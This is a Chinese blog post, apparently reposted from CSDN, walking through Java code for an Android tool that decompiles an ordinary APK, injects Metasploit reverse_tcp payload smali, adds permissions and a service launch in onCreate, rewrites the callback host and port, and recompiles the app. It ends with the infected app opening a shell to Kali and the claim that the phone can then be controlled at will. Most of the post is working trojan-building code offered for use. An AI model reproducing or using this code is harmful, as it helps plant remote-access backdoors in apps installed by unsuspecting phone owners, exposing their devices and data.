/声明:本文作者Kali_MG1937

csdn博客id:ALDYS4

QQ:3496925334

未经许可禁止转载!
/

注意,本文为作者从CSDN搬迁至此的文章

注意!此文章虽然 未被 作者标记到 黑历史 专栏中,

但由于本文为作者最初阶段时有了一点自我思考和感悟后写下的内容,

这意味着本篇文章依然可能存在 质量低下,流水账文,笔法低质 的问题

为了防止恁大脑降级,建议观看作者其他文章,,,

之前我已经分析过Metasploit中安卓载荷的构造并成功利用

那么这回就动手写一个关于这个项目的安卓工具

使得这个工具可以自动将恶意代码注入进正常的apk中

(分析过程详看我的第一篇博客:分析metasploit安卓载荷

开始构思

既然要实现载荷注入,那么首先就要实现反编译欲注入apk的功能了

打开github

说道安卓端的反编译,apktool.jar必不可少

apktool虽然是Java语言编写的,但毕竟是针对PC端的工具,在安卓上的应用还是有些麻烦

比如apktool中的一个类文件

brut.androlib.ApktoolProperties.java

InputStream in = ApktoolProperties.class.getResourceAsStream("/properties/apktool.properties");

这个类调用到getResourceAsStream方法来获取assest文件夹中的资源,而这种方法在android中无法实现(亲测,运行时报错,原因不明)

但android有专门针对assest资源调用的AssestManager类,只要调用其getAssest()方法就可以对assest中的文件进行io流操作

由于诸多条件的限制,我不可能花太多时间和精力来完善apktool,但幸运的是,apktool.jar安卓化已经被github开源作者imkiva实现了

他新建了一个类并构造了许多方法来容纳apktool的任性

补充上他优化过后的apktool:

Apktool for android

apktool的问题解决了,接下来就是一个难关:反编译

在搜索了大量资料后发现大多数人都是利用apktool中的ApkDecoder这个类中的decode()等等方法进行apk反编译的操作

但apktool的开发者一定会更加简洁地去包装整个反编译过程,我打开apktool的源代码,查找ApkDecoder这个类

发现这个类文件中的种种反编译与回编译的方法都与brut.apktool.Main这个类文件相关联

打开Main类,

发现这个类的main方法需要引入一个参数,程序将更具这个参数的具体内容进行相应操作,

补充Main的部分关键代码

    public static void main(String[] args) throws IOException, InterruptedException, BrutException {

        // set verbosity default
Verbosity verbosity = Verbosity.NORMAL; // cli parser
CommandLineParser parser = new PosixParser();
CommandLine commandLine = null; // load options
_Options(); try {
commandLine = parser.parse(allOptions, args, false);//取出arg中的字符
} catch (ParseException ex) {
System.err.println(ex.getMessage());
usage(commandLine);
return;
} //如下面的官方注释所描述,程序将检查arg中的具体内容并执行相应代码
// check for verbose / quiet
if (commandLine.hasOption("-v") || commandLine.hasOption("--verbose")) {
verbosity = Verbosity.VERBOSE;
} else if (commandLine.hasOption("-q") || commandLine.hasOption("--quiet")) {
verbosity = Verbosity.QUIET;
}
setupLogging(verbosity); // check for advance mode
if (commandLine.hasOption("advance") || commandLine.hasOption("advanced")) {
setAdvanceMode(true);
} // @todo use new ability of apache-commons-cli to check hasOption for non-prefixed items
boolean cmdFound = false;
for (String opt : commandLine.getArgs()) {
if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
cmdDecode(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
cmdBuild(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
cmdInstallFramework(commandLine);
cmdFound = true;
} else if (opt.equalsIgnoreCase("publicize-resources")) {
cmdPublicizeResources(commandLine);
cmdFound = true;
}
} // if no commands ran, run the version / usage check.
if (!cmdFound) {
if (commandLine.hasOption("version") || commandLine.hasOption("version")) {
_version();
} else {
usage(commandLine);
}
}
}

继续检查代码,我惊讶地发现其中调用到的cmdBuild,cmdDecode等方法不就完美包装着反编译,回编译等操作吗

那么利用之前我在第一篇博客中对安卓载荷的分析结果,并注入相应smail代码进行回编译的操作也完美解决了

只需要传入Main类的main方法一个值就可以了,自己包装几个方法去实现它就更加简单了

开始工程

首先新建一个Cmd类去包装apktool命令的方法,

补充代码

public class Cmd
{
public static List<string> cmd;
public static void start()
{
cmd=new ArrayList<string>();
}
public static void add(String a)
{
cmd.add(a);
}
public static String[] get()
{
return cmd.toArray(new String[cmd.size()]);
}
public static String getString()
{ StringBuilder sb=new StringBuilder();
for(String s:Cmd.get())
{
sb.append(s);
sb.append("\n");
}
return sb.toString();
}
public static void setArray(String[] s)
{ Cmd.start();
for(String ss:s)
{
cmd.add(ss);
}
} public void apkDecompile(String apk,String out)
{
start();
cmd.add("d");
cmd.add(apk);
cmd.add("-o");
cmd.add(out);
cmd.add("-f");
cmd.add("-b");
}
public void apkDecompileRes(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-r");
cmd.add("-c");
} public void apkDecompileDex(String src,String apk)
{
start();
cmd.add("d");
cmd.add(src);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f");
cmd.add("-s");
} public void apkCompile(String src,String aapt,String apk)
{ start();
cmd.add("b");
cmd.add(src);
cmd.add("-a");
cmd.add(aapt);
cmd.add("-o");
cmd.add(apk);
cmd.add("-f"); }
}

安卓载荷的smail代码我已经提取出来并放在项目的assests文件夹中,接下来需要做的就是释放assest中的smail资源并修改smail中所有的类名并替换smali代码中的f类的a成员的具体内容(关于控制回弹地址的f类还是看我第一篇分析meterpreter安卓载荷的博客吧)

新建PayloadInject类和FileControl类

public class PayloadInject
{
//删除内容方法
public static void DeletIn(String file,String place) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString().replace(place,"");
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(str);
bw.close();
} //新的插入方法_replace替换
public static void injectIn(String file,String place,String inject) throws FileNotFoundException, IOException{
BufferedReader br=new BufferedReader(new FileReader(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
String str="";
StringBuffer sb=new StringBuffer();
while((str=br.readLine())!=null){
sb.append(str+"\n");
}
str=sb.toString();
StringBuffer change=sb.replace(str.indexOf(place),str.indexOf(place)+place.length(),place+"\n"+inject);
BufferedWriter bw=new BufferedWriter(new FileWriter(Environment.getExternalStorageDirectory().toString()+"/msfapk/"+file));
bw.write(change.toString());
bw.close();
} public static void AllInject(String com)
{ try
{
File file=new File("/sdcard/inject_msf");
File[] files=file.listFiles();//遍历目录下所有文件
for (File f:files)
{
System.out.println(f);
BufferedReader br=new BufferedReader(new FileReader(f));//依次读取文件内容
try
{ String str;
CharArrayWriter cw=new CharArrayWriter();
while ((str = br.readLine()) != null)
{
str = str.replace("Lcom/metasploit/stage/", "L" + com.replace(".", "/") + "/");//替换包名
System.out.println(str);
//System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator")); }
br.close();
FileWriter fw=new FileWriter(f);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{}
finally
{if (br != null)
{br.close();}}
}
}
catch (FileNotFoundException e)
{}
catch (IOException e)
{}
} public static void injectLhost(String lhost,String lport) throws IOException{
File file=new File("/sdcard/inject_msf/f.smali");
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter(); while((str=br.readLine())!=null){
str=str.replaceAll("tcp://192.168.2.200:6666","tcp://"+lhost+":"+lport);//替换ip和port
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);} } public static void inject(String com,String filename) throws IOException{
File file=new File("/sdcard/inject_msf/"+filename);
BufferedReader br=new BufferedReader(new FileReader(file));
try
{
String str;
CharArrayWriter cw=new CharArrayWriter(); while((str=br.readLine())!=null){
str=str.replaceAll("com.metasploit.stage.",com);//替换包名
System.out.println(str);
cw.write(str);
cw.append(System.getProperty("line.separator"));
}
br.close();
FileWriter fw=new FileWriter(file);
cw.writeTo(fw);
fw.close();
}
catch (FileNotFoundException e)
{System.out.println(e);} }

因为直接利用InputStream读取大文件会乱码,所以我利用BufferedWriter类来进行文件转移和写入操作

public class FileControl
{public static String ReadSDString(String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(filename));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
}//读取文件内容 public static String ReadString(Context context,String filename) throws FileNotFoundException, IOException {
String msg="";
StringBuffer sb=new StringBuffer();
BufferedReader br=new BufferedReader(new FileReader(context.getFileStreamPath("inject/"+filename)));
while((msg=br.readLine())!=null){
sb.append(msg+"\n");
}
return sb.toString();
} public static void copyFolderFromAssets(Context context, String rootDirFullPath, String targetDirFullPath) {
Log.d("Tag", "copyFolderFromAssets " + "rootDirFullPath-" + rootDirFullPath + " targetDirFullPath-" + targetDirFullPath);
try {
String[] listFiles = context.getAssets().list(rootDirFullPath);// 遍历该目录下的文件和文件夹
for (String string : listFiles) {// 判断目录是文件还是文件夹,这里只好用.做区分了
Log.d("Tag", "name-" + rootDirFullPath + "/" + string);
if (isFileByName(string)) {// 文件
copyFileFromAssets(context, rootDirFullPath + "/" + string, targetDirFullPath + "/" + string);
} else {// 文件夹
String childRootDirFullPath = rootDirFullPath + "/" + string;
String childTargetDirFullPath = targetDirFullPath + "/" + string;
new File(childTargetDirFullPath).mkdirs();
copyFolderFromAssets(context, childRootDirFullPath, childTargetDirFullPath);
}
}
} catch (IOException e) {
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getMessage());
Log.d("Tag", "copyFolderFromAssets " + "IOException-" + e.getLocalizedMessage());
e.printStackTrace();
}
} private static boolean isFileByName(String string) {
if (string.contains(".")) {
return true;
}
return false;
} //从assets目录下拷贝文件 public static void copyFileFromAssets(Context context, String assetsFilePath, String targetFileFullPath) {
Log.d("Tag", "copyFileFromAssets ");
InputStream assestsFileImputStream;
try {
assestsFileImputStream = context.getAssets().open(assetsFilePath);
copyFile(assestsFileImputStream, targetFileFullPath);
} catch (IOException e) {
Log.d("Tag", "copyFileFromAssets " + "IOException-" + e.getMessage());
e.printStackTrace();
}
} public static void copyFile(InputStream in, String targetPath) {
try {
FileOutputStream fos = new FileOutputStream(new File(targetPath));
byte[] buffer = new byte[1024];
int byteCount = 0;
while ((byteCount = in.read(buffer)) != -1) {// 循环从输入流读取
// buffer字节
fos.write(buffer, 0, byteCount);// 将读取的输入流写入到输出流
}
fos.flush();// 刷新缓冲区
in.close();
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
} }

看样子载荷注入和文件提取都解决了,那么就开始进行反编译和注入了

bt.setOnClickListener(new OnClickListener(){

				@Override
public void onClick(View p1)
{final Cmd cmd=new Cmd();//cmd
final String file=ed.getText().toString();
cmd.start(); new Thread(new Runnable(){ @Override
public void run()
{runOnUiThread(new Runnable(){ @Override
public void run()
{ly.setVisibility(View.VISIBLE);
tv.append("\n开始反编译apk..."); // TODO: Implement this method
}
});
cmd.apkDecompile(file,Environment.getExternalStorageDirectory().toString()+"/msfapk");
try
{
apk.run(cmd.get());
}
catch (IOException e)
{}
catch (InterruptedException e)
{}
catch (BrutException e)
{}
runOnUiThread(new Runnable(){ @Override
public void run()
{tv.append("\n反编译完成!");
ly.setVisibility(View.GONE);
showInjectMessage();
// TODO: Implement this method
}
});
} }).start(); }
}); }

bt和tv参数就是Button和TextView了

反编译动作完成,开始注入载荷

因为注入任务需要独占线程可能会造成卡顿,所以我利用异步线程AsyncTask进行操作

	public class baksmalis extends AsyncTask<void,void,void>
{
StringBuffer sb=new StringBuffer();
String aaptdir="";
@Override
protected void onPreExecute()
{tv.append("\n注入开始...");
// TODO: Implement this method
super.onPreExecute();
} @Override
protected Void doInBackground(Void[] p1)
{ //注入包名信息
try
{
PayloadInject.inject(com + ".", "class2.txt");
}
catch (IOException e)
{}
//注入权限
try
{
String permission=FileControl.ReadSDString("/sdcard/inject_msf/permission.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", permission);
//删除影响元素
PayloadInject.DeletIn("AndroidManifest.xml","android:resizeableActivity=\"true\"");
}
catch (IOException e)
{}
//注入意图
try
{
String Class=FileControl.ReadSDString("/sdcard/inject_msf/class.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class); }
catch (IOException e)
{}
//注入声明
try
{
String Class2=FileControl.ReadSDString("/sdcard/inject_msf/class2.txt");
PayloadInject.injectIn("AndroidManifest.xml", "", "\n" + Class2); }
catch (IOException e)
{}
//注入包名
PayloadInject.AllInject(com);
//注入启动服务
try
{
String Java=FileControl.ReadSDString("/sdcard/inject_msf/inject.txt");
PayloadInject.injectIn("smali/" + com.replace(".", "/") + "/" + java + ".smali", "onCreate(Landroid/os/Bundle;)V", "\n" + Java); }
catch (IOException e)
{}
//注入tcp
try
{
PayloadInject.injectLhost(lhost, lport);
}
catch (IOException e)
{}
//清道夫
String[] file=new String[]{"permission.txt","class.txt","class.txt","inject.txt"};
for(String f:file){
File files=new File("/sdcard/inject_msf/"+f);
files.delete();
}
//复制文件
String[] payload=new File("/sdcard/inject_msf/").list();
for(String str:payload){
try
{
InputStream in=new FileInputStream("/sdcard/inject_msf/" + str);
FileControl.copyFile(in, "/sdcard/msfapk/smali/" + com.replace(".", "/") + "/" + str); }
catch (FileNotFoundException e)
{}
} Cmd cmd=new Cmd();
aaptdir=Manage.copyfile(MainActivity.this,"aapt.mrp"); cmd.apkCompile(Environment.getExternalStorageDirectory().toString()+"/msfapk",aaptdir,Environment.getExternalStorageDirectory().toString()+"/msfapk.apk");
try
{
brut.apktool.Main.main(cmd.get());
}
catch (InterruptedException e)
{sb.append("\nInterrupted报错:\n"+e.toString());}
catch (BrutException e)
{sb.append("\nBrut报错\n"+e.toString());}
catch (IOException e)
{sb.append("\nIo流报错\n"+e.toString());}
// TODO: Implement this method
return null;
} @Override
protected void onPostExecute(Void result)
{if(sb.toString().equals("")){
tv.append("\n回编译执行完成!");
}else{tv.append("\n"+sb.toString());}
// TODO: Implement this method
super.onPostExecute(result);
} }

至此反编译和注入还有回编译都完成了,布局代码这里就不补充了,关于对回编译的apk进行签名的代码我懒得再写了,直接用其它签名软件签名就行

接下来编译代码看看效果

先编译一个没有任何行为的空项目

接着用注入工具将恶意代码注入这个空项目

接着输入对应的reverse_tcp信息



完成注入后的apk会输出在/sdcard/msfapk.apk



签名,安装



打开



回到kali,可以看到载荷已经反弹了一个shell



看看能不能访问sd卡



可以!

接下来就可以任意控制安装了病毒载荷的手机了!

接下来放上注入工具的开源和视频

/声明:开源作者即为本文作者Kali_MG1937

csdn博客id:ALDYS4

QQ:3496925334

未经许可禁止转载!
/


项目开源

测试视频

</void,void,void>

【Android编程】Java利用apktool编写Metasploit恶意后门注入工具的更多相关文章

  1. 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!

    本文主要展示的是通过使用python和PyInstaller来构建恶意软件的一些poc. 利用Python编写Windows恶意代码!自娱自乐!勿用于非法用途!众所周知的,恶意软件如果影响到了他人的生 ...

  2. Android(java)学习笔记262:JNI之工具快速开发步骤

    下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...

  3. Android(java)学习笔记206:JNI之工具快速开发步骤

    下面通过一个案例说明一下,利用工具jni快速开发步骤 1.新建一个Android工程,命名为"03_对int数组加1",如下: 2. 在MainActivity.java中对add ...

  4. Android(java)学习笔记205:网易新闻RSS客户端应用编写逻辑过程

    1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...

  5. Android(java)学习笔记148:网易新闻RSS客户端应用编写逻辑过程

    1.我们的项目需求是编写一个新闻RSS浏览器,RSS(Really Simple Syndication)是一种描述和同步网站内容的格式,是使用最广泛的XML应用.RSS目前广泛用于网上新闻频道,bl ...

  6. Android(java)学习笔记206:利用开源SmartImageView优化网易新闻RSS客户端

    1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...

  7. Android(java)学习笔记257:JNI之helloword案例(利用NDK工具)

    1.逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们要 ...

  8. Android(java)学习笔记149:利用开源SmartImageView优化网易新闻RSS客户端

    1.我们自己编写的SmartImageView会有很多漏洞,但是我们幸运的可以在网上利用开源项目的,开源项目中有很多成熟的代码,比如SmartImageView都编写的很成熟的 国内我们经常用到htt ...

  9. Android(java)学习笔记201:JNI之helloword案例(利用NDK工具)

    1. 逻辑思路过程图: 2.下面通过一个HelloWorld案例来说明一下JNI利用NDK开发过程(步骤) 分析:我们在Win7系统下编译的C语言代码,我们知道C语言依赖操作系统,不能跨平台,所以我们 ...

随机推荐

  1. wordpress如何隐藏后台位置?

    2017-02-08 20:43:20 言曌 阅读数 3585更多 分类专栏: WordPress 转载 版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本 ...

  2. The content of element type "web-app" must match "(icon?,display- name?,description?,distributable?,context-param*,filter*,filter-mapping*,listener*,servlet*,servlet- mapping*,session-config?

    web.xml头部配置: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app P ...

  3. VS2017报错 由#define后的分号引发的【“ 应输入“)】

    其实并不是第十行分号出现了问题,而是由于在宏定义后面加了分号,修改成这样即可 一开始竟然没看出来--甚至以为是VS中出现"宏可以转换为constexpr"问题--下次要仔细--

  4. CRM的未来发展前景有哪些?

    随着时代的发展,近年来越来越多的国内中小企业开始采用CRM客户关系管理系统,CRM从此不再是大企业的专利,也开始让中小企业得以不断成长.国内CRM行业的发展越来越快, 它的前景是什么?今天小Z就来给大 ...

  5. 80行代码教你写一个Webpack插件并发布到npm

    1. 前言 最近在学习 Webpack 相关的原理,以前只知道 Webpack 的配置方法,但并不知道其内部流程,经过一轮的学习,感觉获益良多,为了巩固学习的内容,我决定尝试自己动手写一个插件. 这个 ...

  6. CSS变量和浏览器前缀

    一.CSS变量 CSS变量是CSS的新特性,大多数浏览器都实现了这个功能,使用CSS变量有利代码复用,而且当我们修改变量值时,所有引用该变量的属性都会发生改变. 定义变量后可以有两种使用方法,第一种时 ...

  7. linux操作系统优化系列-RAID不同阵列模式的选择

    背景 笔者所在的某通信运营商某大数据项目由于应用面临瓶颈需要扩充服务器设备,当初上这个项目的时候,服务器上线前的工作(配置raid,安装操作系统,Infiniband网络调试,系统漏洞安全加固)都是我 ...

  8. hard way for code

    奋斗吧骚年:https://learncodethehardway.org/ 有关linuxz命令的URL:man.linuxde.net

  9. 科普 AF摄像头

    AF(Auto Focus)自动对焦:自动对焦有两种方式,根据控制原理分为主动式和被动式两种.主动式自动对焦通过相机发射红外线,根据反射回来的射线信号确定被摄体的距离,再自动调节镜头,实现自动对焦.被 ...

  10. CSS设计模式介绍

    一. 常见CSS设计模式分析 oocss Object Oriented CSS,面向对象的CSS,旨在编写高可复用.低耦合和高扩展的CSS代码. OOCSS是以面向对象的思想去定义样式,将抽象(结构 ...